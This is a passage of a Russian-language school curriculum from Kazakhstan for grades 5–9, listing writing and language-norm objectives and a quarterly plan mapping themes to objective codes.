создавать тексты- описание с элементами рассуждения, повествова-ние с элементами рассуждения соответству-ющих стилей (научная статья, отчет о поездке и др.) с учетом целевой аудитории

П 5

Написание эссе

5.П5.

писать эссе-повество-вание, эссе-рассужде-ние

6.П5.

писать эссе-повествова-ние, эссе-рассужде-

ние, эссе- описание

7.П5.

писать разные виды эссе, в том числе аргумента-тивное, эссе на основе текста, выражая свое отношение к проблеме и/или авторской позиции

8.П5.

писать разные виды эссе, в том числе академиче-ское, рассматривая одну из сторон проблемы

9.П5.

писать разные виды эссе, в том числе дискуссион-ное, рассматривая проблему с разных сторон и предлагая пути решения

П 6

Творческое

письмо

5.П6.

писать творческие работы (120-150 слов), представ-ляя себя на месте героя, используя жизненный опыт

6.П6.

писать творческие работы (150-200 слов), представляя себя в предлага-емой ситуации и описывая собственные ощущения

7.П6.

писать творческие работы (200-250 слов), выбирая определенную социальную роль и речевое поведение

8.П6.

писать творческие работы (250-300 слов), фрагмент/

фрагменты текста, являющиеся контрастными по содержанию

9.П6.

писать творческие работы (300-350 слов),

фрагмент/

фрагменты текста, являющиеся определенны-ми композицион-ными элементами (начало романа, продолжение рассказа и др.)

П 7

Корректиро-вание и редактирование текстов

5.П7.

корректи-ровать текст, исправляя орфогра-фические ошибки с помощью словаря, редактируя предложе-ния

6.П7.

корректиро-вать текст, исправляя орфографи-ческие и пунктуаци-онные ошибки с помощью словаря, редактируя текст с учетом типа

7.П7.

корректировать текст, исправляя смысловые, фактические, логические недочеты;

редактировать текст, изменяя структуру отдельных предложений или фрагментов текста

8.П7.

корректиро-вать текст, исправляя смысловые, фактические, логические, стилистичес-кие недочеты;

редактировать текст, перестраивая структуру текста

9.П7.

корректиро-вать и редактиро-вать

имеющиеся недочеты в тексте

4) Соблюдение речевых норм

Обучающиеся должны уметь:
Подраздел	5 класс	6 класс	7 класс	8 класс	9 класс
СРН 1 Соблюдение орфографи-ческих норм	5.СРН1. правильно писать гласные и согласные в корне слова, НЕ с именами существи-тельными, прилагатель-ными, отрицатель-ными местоимени-ями, глаголами, а также окончания в разных частях речи	6.СРН1. правильно писать разделительные Ъ и Ь знаки, сложные имена существительные, прилагатель-ные, числитель-ные, неопределен-ные местоимения, а также приставки и суффиксы в разных частях речи	7.СРН1. правильно писать гласные после шипящих и Ц, НЕ с разными частями речи, окончания глаголов, суффиксы в разных частях речи	8.СРН1. правильно писать омонимич-ные самостоя-тельные и служебные части речи	9.СРН1. соблюдать орфографи-ческие нормы
СРН 2 Соблюдение лексических норм	5.СРН2. использо-вать слова с прямым и переносным значением, синонимы, антонимы, омонимы и многознач-ные слова, заимствованные слова, эмоциональ- но окрашенные слова; гиперболы, эпитеты, сравнения	6.СРН2. использовать фразеологические обороты; метафоры, олицетворе-ния, риторические фигуры, антитезу, перифраз, использовать слова в свойственном им значении	7.СРН2. использовать паронимы, термины; аллегорию, инверсию, анафору	8.СРН2. использо-вать профессио-нальные слова, термины, неологиз-мы, инверсию, градацию; 8.4.2.2 избегать повторов и штампов	9.СРН2. использовать стилистичес-ки окрашенные слова, аббревиату-ру, парцелляцию
СРН 3 Соблюдение грамматичес-ких норм	5.СРН3. использовать именные части речи, согласуя слова в роде, числе и падеже	6.СРН3. использовать правильно падежные формы числительных, прилагатель-ных, местоимений; образовывать степени сравнения прилагатель-ных и наречий в соответствии с нормой	7.СРН3. использовать правильно глагол и его формы, служебные части речи; соблюдать нормы глагольного управления	8.СРН3. использо-вать правильно обособлен-ные члены предложе-ния	9.СРН3. использовать правильно морфологические средства связи (союзы и союзные слова) в сложных предложени-ях
СРН 4 Соблюдение пунктуаци-онных норм	5.СРН4. использовать знаки препинания при прямой речи и обращении, тире в простом предложе-нии, однородны-ми членами, а также с обобща-ющим словом при однородных членах предложения	6.СРН4. использовать знаки препинания в предложениях с вводными конструкци-ями, при прямой и косвенной речи	7.СРН4. использовать знаки препинания в простых, осложненных обособлен-ным определени-ем и обстоятельством предложени-ях	8.СРН4. использо-вать знаки препинания при уточня-ющих членах предложе-ния, цитирова-нии, а также в неполных предложениях	9.СРН4. использовать знаки препинания в простых, простых осложненных и сложных предложени-ях

Настоящая учебная программа реализуется в соответствии с Долгосрочным планом к Типовой учебной программе по учебному предмету «Русский язык» для 5-9 классов уровня основного среднего образования по обновленному содержанию.

Приложение

к Типовой учебной программе

по учебному предмету «Русский язык»

для 5-9 классов уровня основного

среднего образования по

обновленному содержанию

Долгосрочный план

по реализации Типовой учебной программы

по учебному предмету «Русский язык»

для 5-9 классов уровня основного среднего образования

по обновленному содержанию

5 класс

Тема	Виды речевой деятельности	Цели обучения
1-я четверть
Культура: язык и общение	Аудирование и говорение	5.СГ1., 5.СГ3.
	Чтение	5.Ч1., 5.Ч2.
	Письмо	5.П1., 5.П4.
	Соблюдение речевых норм	5.СРН3., 5.СРН4.
Мир вокруг нас: транспорт и инфраструктура	Аудирование и говорение	5.СГ2., 5.СГ5.
	Чтение	5.Ч6., 5.Ч4.
	Письмо	5.П1., 5.П4.
	Соблюдение речевых норм	5.СРН1., 5.СРН3.
2-я четверть
Жизненные ценности	Аудирование и говорение	5.СГ2.
	Чтение	5.Ч5.
	Письмо	5.П2.
	Соблюдение речевых норм	5.СРН2.
Мир профессий	Аудирование и говорение	5.СГ4.
	Чтение	5.Ч3.
	Письмо	5.П3.
	Соблюдение речевых норм	5.СРН2.
3-я четверть
Мир фантазий	Аудирование и говорение	5.СГ6.
	Чтение	5.Ч2.,5.Ч3.
	Письмо	5. П5., 5.П7.
	Соблюдение речевых норм	5.СРН4.
Живые организмы: растения	Аудирование и говорение	5.СГ6.
	Чтение	5.Ч7.
	Письмо	5. П5., 5.П7.
	Соблюдение речевых норм	5.СРН4.
Каникулы и отдых	Аудирование и говорение	5.СГ6.
	Чтение	5.Ч2., 5.Ч3.
	Письмо	5. П5., 5.П7.
	Соблюдение речевых норм	5.СРН4.
4-я четверть
Астрономия: звезды и созвездия	Аудирование и говорение	5.СГ5., 5.СГ7.
	Чтение	5.Ч2., 5.Ч8.
	Письмо	5. П6., 5.П7.
	Соблюдение речевых норм	5.СРН1.
Чудеса света	Слушание и говорение	5.СГ5., 5.СГ7.
	Чтение	5.Ч2., 5.Ч8.
	Письмо	5. П6., 5.П7.
	Соблюдение речевых норм	5.СРН4.

6 класс

Тема	Виды речевой деятельности	Цели обучения
1-я четверть
Путешествия и достопримечательности	Аудирование и говорение	6.СГ1., 6.СГ3.
	Чтение	6.Ч1.,6. Ч6.
	Письмо	6.П1., 6.П2.
	Соблюдение речевых норм	6.СРН1., 6.СРН4.
Образ жизни и культура: древние цивилизации	Аудирование и говорение	6.СГ1., 6.СГ3., 6.СГ4.
	Чтение	6.Ч1.,6. Ч6., 6.Ч5.
	Письмо	6.П2., 6.П3.
	Соблюдение речевых норм	6.СРН1., 6.СРН4.
2-я четверть
Структура семьи и семейные ценности	Аудирование и говорение	6.СГ2., 6.СГ7.
	Чтение	6.Ч2., 6. Ч3.
	Письмо	6.П3., 6.П6.
	Соблюдение речевых норм	6.СРН2., 6.СРН3.
Традиции празднования Нового года в Казахстане и за рубежом	Аудирование и говорение	6.СГ2., 6.СГ4.
	Чтение	6.Ч2., 6. Ч3., 6.Ч7.
	Письмо	6.П1., 6.П6.
	Соблюдение речевых норм	6.СРН2., 6.СРН3.
3-я четверть
Выдающиеся личности народа Казахстана	Аудирование и говорение	6. СГ1., 6. СГ5.
	Чтение	6.Ч2., 6.Ч4.
	Письмо	6.П4., 6.П7.
	Соблюдение речевых норм	6.СРН2., 6.СРН1.
Спорт и диета	Аудирование и говорение	6. СГ7., 6. СГ6.
	Чтение	6.Ч3., 6.Ч5.
	Письмо	6.П5., 6.П7.
	Соблюдение речевых норм	6.СРН2., 6.СРН3.
Живые организмы: животные	Аудирование и говорение	6. СГ5., 6. СГ6.
	Чтение	6.Ч3., 6.Ч4.
	Письмо	6.П4., 6.П7.
	Соблюдение речевых норм	6.СРН2., 6.СРН1.
4-я четверть
Жара и холод: экстремальная погода	Аудирование и говорение	6. СГ2., 6.СГ5.
	Чтение	6. Ч7., 6.Ч8.
	Письмо	6. П5., 6.П7.
	Соблюдение речевых норм	6. СРН4., 6.СРН3.
Казахстан в будущем: изобретения и энергия	Аудирование и говорение	6. СГ5., 6.СГ6.
	Чтение	6.Ч4., 6.Ч8.
	Письмо	6. П6., 6.П7.
	Соблюдение речевых норм	6.СРН4., 6.СРН3.

7 класс

Тема	Виды речевой деятельности	Цели обучения
1-я четверть
Климат и изменения климата	Аудирование и говорение	7.СГ1., 7.СГ3., 7.СГ4.
	Чтение	7.Ч1.,7. Ч6.
	Письмо	7.П2., 7.П3.
	Соблюдение речевых норм	7.СРН1, 7.СРН4.
Обычаи и традиции	Аудирование и говорение	7.СГ1., 7.СГ3.
	Чтение	7.Ч1.,7.Ч6., 7.Ч5.
	Письмо	7.П1., 7.П2.
	Соблюдение речевых норм	7.СРН1., 7.СРН4.
2-я четверть
Знания: мир и изучение иностранных языков	Аудирование и говорение	7.СГ2., 7.СГ7.
	Чтение	7.Ч2., 7. Ч7.
	Письмо	7.П1., 7.П5.
	Соблюдение речевых норм	7.СРН2., 7.СРН3.
Влияет ли ландшафт и климат на национальный характер?	Аудирование и говорение	7.СГ2., 7.СГ4.
	Чтение	7.Ч2., 7.Ч3.
	Письмо	7. П1., 7.П3., 7.П6.
	Соблюдение речевых норм	7.СРН2, 7.СРН3.
3-я четверть
Молодежная культура: Интернет и социальные сети	Аудирование и говорение	7. СГ1., 7. СГ5.
	Чтение	7.Ч2., 7.Ч5.
	Письмо	7.П5., 7.П7.
	Соблюдение речевых норм	7.СРН2., 7.СРН1.
Проблемы социальной защиты бездомных	Аудирование и говорение	7. СГ7., 7. СГ6.
	Чтение	7.Ч3., 7.Ч4.
	Письмо	7.П4., 7.П7.
	Соблюдение речевых норм	7.СРН2., 7.СРН3.
Генетически модифицированные продукты	Аудирование и говорение	7. СГ5., 7. СГ6.
	Чтение	7. Ч2., 7.Ч5., 7.Ч4.
	Письмо	7.П4., 7.П7.
	Соблюдение речевых норм	7.СРН2., 7.СРН1.
4-я четверть
День Победы	Аудирование и говорение	7. СГ2., 7.СГ5.
	Чтение	7. Ч7., 7.Ч8.
	Письмо	7. П5., 7.П7.
	Соблюдение речевых норм	7. СРН4., 7.СРН3.
Если бы я правил миром…	Аудирование и говорение	7. СГ4., 7. СГ5., 7.СГ6.
	Чтение	7. Ч3., 7.Ч4., 7.Ч8.
	Письмо	7. П6., 7.П7.
	Соблюдение речевых норм	7.СРН4., 7.СРН3.

8 класс

Тема	Виды речевой деятельности	Цели обучения
1-я четверть
Семья: права и обязанности	Аудирование и говорение	8.СГ1., 8. СГ3., 8 СГ2.
	Чтение	8.Ч1., 8.Ч2., 8Ч6., 8Ч4.
	Письмо	8.П1., 8.П4., 8П2.
	Соблюдение речевых норм	8СРН3., 8СРН1.
Развлечения и спорт	Аудирование и говорение	8.СГ2., 8.СГ5., 8СГ1.
	Чтение	8.Ч4., 8.Ч1., 8Ч2., 8Ч6.
	Письмо	8.П1., 8.П4., 8П3.
	Соблюдение речевых норм	8.СРН3., 8СРН1.
2-я четверть
Мир профессий	Аудирование и говорение	8.СГ2., 8СГ3.
	Чтение	8.Ч5., 8Ч4., 8Ч3.
	Письмо	8.П2., 8П4.
	Соблюдение речевых норм	8.СРН2., 8СРН4.
Космос	Аудирование и говорение	8.СГ4., 8СГ3.
	Чтение	8.Ч3., 8Ч5., 8Ч4.
	Письмо	8.П3., 8П4.
	Соблюдение речевых норм	8.СРН2., 8СРН4.
3-я четверть
Разнообразие форм жизни	Аудирование и говорение	8.СГ6., 8СГ1., 8СГ5.
	Письмо	8Ч1., 8.Ч6., 8Ч8.
	Соблюдение речевых норм	8. П5., 8.П7.
	Чтение	8.СРН4., 8СРН1.
Вода в жизни человека	Чтение	8.СГ6., .8СГ7.
	Письмо	8.Ч7., 8Ч4., 8Ч8.
	Соблюдение речевых норм	8. П5., 8.П7.
	Аудирование и говорение	8.СРН4., 8СРН1.
Еда: необходимость или роскошь?	Чтение	8СГ3., 8.СГ4.
	Письмо	8Ч2., 8Ч3., 8Ч5.
	Соблюдение речевых норм	8. П5., 8.П7.

4-я четверть
Музыка в современном обществе	Аудирование и говорение	8.СГ5., 8.СГ7.
	Чтение	8.Ч2., 8.Ч8., 8Ч4., 8Ч3.
	Письмо	8. П6., 8.П7., 8П3.
	Соблюдение речевых норм	8 СРН2., 8СРН3.
Научные открытия и технологии	Аудирование и говорение	8.СГ6., 8.СГ7., 8СГ5.
	Чтение	8.Ч2., 8.Ч8., 8Ч7.
	Письмо	8.П6., 8.П7.
	Соблюдение речевых норм	8.СРН2., 8СРН3.

9 класс

Тема	Виды речевой деятельности	Цели обучения
1-я четверть
Конфликты и миротворчество	Аудирование и говорение	9.СГ1., 9. СГ3., 9СГ2.
	Чтение	9.Ч1., 9.Ч2, 9Ч6.
	Письмо	9.П1., 9.П4.,9П2.
	Соблюдение речевых норм	9.СРН3., 9СРН1.
Сухопутные страны	Аудирование и говорение	9.СГ2., 9.СГ5., 9.СГ1.
	Чтение	9.Ч6., 9.Ч2., 9.Ч1.
	Письмо	9.П1., 9.П4., 9.П2.
	Соблюдение речевых норм	9.СРН3., 9.СРН1.
2-я четверть
Традиции и культура	Аудирование и говорение	9.СГ2., 9.СГ3.
	Чтение	9.Ч5., 9.Ч3., 9.Ч4.
	Письмо	9.П2., 9.П4.
	Соблюдение речевых норм	9.СРН2., 9.СРН4.
Ресурсы планеты «Земля»	Аудирование и говорение	9.СГ4.
	Чтение	9.Ч3., 9.Ч4., 9.Ч5.
	Письмо	9.П3., 9.П4.
	Соблюдение речевых норм	9.СРН2., 9.СРН4.
3-я четверть
Подросток в современном мире	Аудирование и говорение	9.СГ6., 9.СГ5., 9.СГ1.
	Чтение	9.Ч6., 9.Ч8., 9.Ч1.
	Письмо	9. П5., 9.П7.
	Соблюдение речевых норм	9. СРН4., 9.СРН3.
Всемирная связь в 21-ом веке	Аудирование и говорение	9.СГ6., 9СГ7.
	Чтение	9.Ч2., 9Ч3., 9Ч5.
	Письмо	9. П5., 9.П7.
	Соблюдение речевых норм	9.СРН4., 9.СРН3.
4-я четверть
Дилеммы и выбор	Аудирование и говорение	9.СГ7., 9.СГ5.
	Чтение	9.Ч2., 9.Ч8., 9.Ч4, .9.Ч3.
	Письмо	9. П6., 9.П7., 9.П3.
	Соблюдение речевых норм	9.СРН3., 9.СРН2.
Средства массовой информации	Аудирование и говорение	9.СГ6., 9.СГ7., 9СГ5.
	Чтение	9.Ч2., 9Ч8., 9Ч7.
	Письмо	9. П6., 9.П7.
	Соблюдение речевых норм	9.СРН3., 9СРН2.

Пікір қосу